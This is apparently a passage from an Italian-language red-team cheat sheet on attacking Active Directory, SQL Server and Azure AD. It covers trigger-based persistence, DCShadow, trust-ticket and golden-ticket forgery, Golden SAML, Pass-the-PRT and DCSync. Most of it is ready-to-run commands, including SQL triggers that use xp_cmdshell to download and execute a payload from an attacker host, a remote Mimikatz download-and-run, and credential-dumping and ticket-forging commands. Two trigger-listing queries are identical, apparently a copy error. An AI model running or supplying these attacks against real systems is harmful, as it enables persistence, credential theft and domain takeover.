[ ❓ ] : **I trigger** sono procedure memorizzate che si eseguono automaticamente quando si verifica un evento in SQL Server.
- Data Definition Language (DDL) – Esegue su istruzioni Create, Alter e Drop e su alcune stored procedure di sistema.
- Data Manipulation Language (DML) – Esegue su istruzioni Insert, Update e Delete.
- Trigger di Logon – Esegue al momento dell'accesso di un utente.
**Elenco dei Trigger**
*Elenca tutti i trigger*```sql
SELECT * FROM sys.server_triggers
```
*elenca i trigger per un database*```sql
SELECT * FROM sys.server_triggers
```
*elenca i trigger DDL e DML su un'istanza utilizzando PowerShell*```powershell
Get-SQLTriggerDdl -Instance ops-sqlsrvone -username $username -Password $password -Verbose
Get-SQLTriggerDml -Instance ops-sqlsrvone -username $username -Password $password -Verbose
```
*usa i trigger DML per la persistenza*```sql
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'as'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"'
GO
```
*usa i trigger DDL per la persistenza*```sql
CREATE Trigger [persistence_ddl_1]
ON ALL Server
FOR DDL_LOGIN_EVENTS
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
GO
```
*usa Logon triggers per la persistenza*```sql
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
END;
```
## Persistenza nella Foresta
### DCShadow
**DCShadow registra temporaneamente un nuovo controller di dominio nel dominio di destinazione** e lo utilizza per "spingere" attributi come SIDHistory, SPN... su oggetti specificati senza lasciare tracce nei log delle modifiche per l'oggetto modificato!
*⚠️ Requisiti :*
- Sono necessari privilegi DA per utilizzare DCShadow.
- La macchina dell'attaccante deve far parte del dominio radice.
L'attacco necessita di 2 istanze su una macchina compromessa :
**1 istanza :** *avviare i server RPC con privilegi di SYSTEM e specificare gli attributi da modificare*```c
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:root1user /attribute:Description /value="Hello from DCShadow"
```
**2 istanza :** *con privilegi sufficienti di DA per inserire i valori :*```c
mimikatz # sekurlsa::pth /user:Administrator /domain:$domain /ntlm:$admin_hash /impersonate
mimikatz # lsadump::dcshadow /push
```
## Attacchi tra Foreste
### Ticket di Trust
*Dumping della Chiave di Trust*```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
```
*Forgiatura di IR-TGT tramite Trust key*```powershell
Invoke-Mimikatz -Command '"Kerberos::golden /domain:$domain /sid:$sid /sids:$extra_sids /rc4:$rc4_hash /user:Administrator /service:krbtgt /target:$target /ticket:$path/to/trust_ticket.kirbi"'
```
*ottieni TGS per il servizio CIFS*```powershell
asktgs path/to/trust_ticket.kirbi CIFS/ps-dc.powershell.local
```
*usa TGS per il servizio CIFS*```powershell
kirbikator.exe lsa .\CIFS.$domain.kirbi ls \\$domain\`c$
```
### Utilizzo di KRBTGT hash```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domaine.fun.local /sid:S-1-5-x-x-x-x /sids:S-1-5-x-x-x-x-519 /krbtgt:<hash> /ticket:C:\path\krb_tgt.kirbi"'
Invoke-Mimikatz -Command '"kerberos::ptt C:\path\krb_tgt.kirbi
```
## Azure Active Directory
### AZ User Enumeration
*Connessione ad Azure Active Directory con **Connect-MsolService**.*```powershell
PS> Connect-MsolService -Credential $cred
```
*questo comando consente l'enumerazione con MFA (MultiFactor Authentification)*```powershell
Get-MsolUser -EnabledFilter EnabledOnly -MaxResults 50000 | select DisplayName,UserPrincipalName,@{N="MFA Status"; E={ if( $_.StrongAuthenticationRequirements.State -ne $null){ $_. StrongAuthenticationRequirements.State} else { "Disabled"}}} | export-csv mfaresults.csv
```
*localizza il server Azure AD Connect*```powershell
ldapsearch -H ldap://DC01.MEGACORP.CORP:389 -D "MEGACORP\john" -w $password -b "DC=MEGACORP,DC=CORP" '(description=*Azure*)' description
```
### Enumerazione tramite AZ CLI
**Enumerazione dello storage**
*enumerazione dello storage blob*```powershell
az storage account list -o table
az storage account list -o json | jq -r '.[].name'
```
### PowerZure
*crea un nuovo utente*```powershell
New-AzureUser -Username '[email protected]' -Password catAker
```
*Esegue un comando su una VM specificata*```powershell
Execute-Command -OS Windows -VM Win10 -ResourceGroup rg01 -Command "whoami"
```
### Golden SAML
*⚠️ Requisiti :*
- Privilegi di amministratore del server ADFS
- `ADFS Public Certificate`
- `IdP Name`
- `Role Name`
> Ottieni `ADFS Public Certificate`:```powershell
PS > [System.Convert]::ToBase64String($cer.rawdata)
```
> Ottieni `IdP Name`:```powershell
PS > (Get-ADFSProperties).Identifier.AbsoluteUri
```
> Ottieni `Role Name`:```powershell
PS > (Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
a toolkit per sfruttare Golden SAML può essere trovato [qui](https://github.com/secureworks/whiskeysamlandfriends)
> ** Golden SAML è simile al golden ticket e colpisce il protocollo Kerberos. Come il Golden Ticket, il Golden SAML permette a un attaccante di accedere a risorse protette da agenti SAML (esempi: Azure, AWS, vSphere, Okta, Salesforce, ...) con privilegi elevati tramite un golden ticket.**
*ShockNAwe:*
- 1. Estrae in remoto le impostazioni di configurazione di AD FS
- 2. Forgia e firma un token Golden SAML
- 3. Estrae la porzione 'assertion' del token Golden SAML e la passa all'API di gestione di Azure Core per ottenere un token di accesso valido per l'API
- 4. Enumera l'ID della sottoscrizione
- 5. Enumera la lista completa di VM nella sottoscrizione
- 6. Esegue comandi arbitrari su tutte le VM come SYSTEM/root
*WhiskeySAML:*
- 1. Estrarre in remoto le impostazioni di configurazione di AD FS
- 2. Forgiare e firmare token Golden SAML
- 3. Passare il token Golden SAML al portale Microsoft Azure
- 4. Accedere al portale Azure come qualsiasi utente bypassando le configurazioni di Azure MFA```bash
python3 shocknawe.py --target-user $user --domain $domain --adfs-host=$adfs_server --dc-ip $ip
```
### Manipolazione PRT
#### PassThePRT
*controlla lo stato di AzureAdJoined e scarica Mimikatz:*```powershell
dsregcmd.exe /status
iex (New-Object Net.Webclient).downloadstring(“https://server/Invoke-Mimikatz.ps1”)
```
*Alla ricerca di **prt** e **KeyValue**:*```c
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
```
*usa la **funzione APKD** per decodificare **KeyValue** e salvare i valori di **"Context"** e **"DerivedKey"** :*```c
mimikatz # token::elevate
mimikatz # dpapi::cloudapkd /keyvalue:$KeyValue /unprotect
```
INPUT:```c
mimikatz # dpapi::cloudapkd /context:$context /derivedkey:$DerivedKey /Prt:$prt
---SNIP---
Signed JWT : eyJ...
```
*Crea PRT-Cookie usando [lantern](https://github.com/ConstantinT/Lantern):*```powershell
Lantern.exe cookie --derivedkey <Key from Mimikatz> --context <Context from Mimikatz> --prt <PRT from Mimikatz>
Lantern.exe cookie --sessionkey <SessionKey> --prt <PRT from Mimikatz>
```
*Genera JWT*```powershell
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
```
### Account di Servizio MSOL
> puoi dumpare l'account di servizio MSOL con [azuread_decrypt_msol.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c) usato da Azure AD Connect Sync e lanciare un attacco DCSync con le credenziali dumpate
*DCSync con account MSOL*```powershell
secretsdump -outputfile hashes $domain/$msol_svc_acc:$msol_pwd@$ip
```
## Varie
### Attributo a Livello di Dominio
#### MachineAccountQuota (MAQ) Exploitation
usa crackmapexec (CME) con il modulo maq :
`cme ldap $dc -d $DOMAIN -u $USER -p $PASSWORD -M maq`
#### BadPwdCount```python
crackmapexec ldap 10.10.13.100 -u $user -p $pwd --kdcHost 10.10.13.100 --users
LDAP 10.10.13.100 389 dc1 Guest badpwdcount: 0 pwdLastSet: <never>
```
### Abusare di IPv6 in AD
invio di pacchetti ICMPv6 al target usando ping6 :
`ping6 -c 3 <target>`
scansione dell'indirizzo IPv6 usando nmap :
`nmap -6 -sCV dead:beef:0000:0000:b885:d62a:d679:573f --max-retries=2 --min-rate=3000 -Pn -T3`
consigli per adattare gli strumenti per IPv6 :```bash
echo -n "port1" "port2" "port3" | xargs -d ' ' -I% bash -c 'socat TCP4-LISTEN:%,fork TCP6:[{ipv6-address-here}]:% &'
netstat -laputen |grep LISTEN
```
puoi sostituire il valore AF_INET con AF_INET6 dalla libreria socket di Python :```bash
sed -i "s/AF_INET/AF_INET6/g" script.py
```
#### DHCP Rogue
`mitm6 -i eth0 -d 'domain.job.local'`
#### Enumerazione dell'interfaccia IOXIDResolver
è un piccolo script che enumera gli indirizzi nel campo NetworkAddr con livello [**RPC_C_AUTHN_DCE_PUBLIC**](https://docs.microsoft.com/en-us/windows/win32/rpc/authentication-service-constants)```py
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dcomrt import IObjectExporter
RPC_C_AUTHN_DCE_PUBLIC = 2
stringBinding = r'ncacn_ip_tcp:%s' % "IP"
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpc = rpctransport.get_dce_rpc()
rpc.set_auth_level(RPC_C_AUTHN_DCE_PUBLIC)
rpc.connect()
print("[*] Try with RPC_C_AUTHN_DCE_PUBLIC...")
exporter = IObjectExporter(rpc)
binding = exporter.ServerAlive2()
for bind in binding:
adr = bind['aNetworkAddr']
print("Adresse:", adr)
```
## Riferimenti
- https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/cloudap
- https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
- https://www.thehacker.recipes/ad/movement/kerberos/asreproast
- https://www.hackingarticles.in/credential-dumping-ntds-dit/
- https://blog.alsid.eu/dcshadow-explained-4510f52fc19d
- https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94
- https://github.com/rootsecdev/Azure-Red-Team
- https://www.secureworks.com/blog/going-for-the-gold-penetration-testing-tools-exploit-golden-saml